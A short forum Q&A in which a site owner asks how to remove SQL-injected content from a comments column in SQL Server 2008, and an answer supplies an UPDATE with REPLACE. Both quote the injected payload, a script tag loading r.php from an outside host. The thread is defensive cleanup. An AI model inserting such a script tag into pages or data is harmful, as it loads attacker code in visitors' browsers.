Question

A website I am host was recently SQL injected, and I want to find a way to remove the offending injected code from a particular column (comments) in the database. Using SQL Server 2008, I’m not sure why this isn’t working:

USE Dirty
SELECT REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
FROM SALONS

Answer 1

You’re only selecting – not updating….

Try this:

USE Dirty

UPDATE dbo.Salons
SET Comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
WHERE (possibly a condition here...)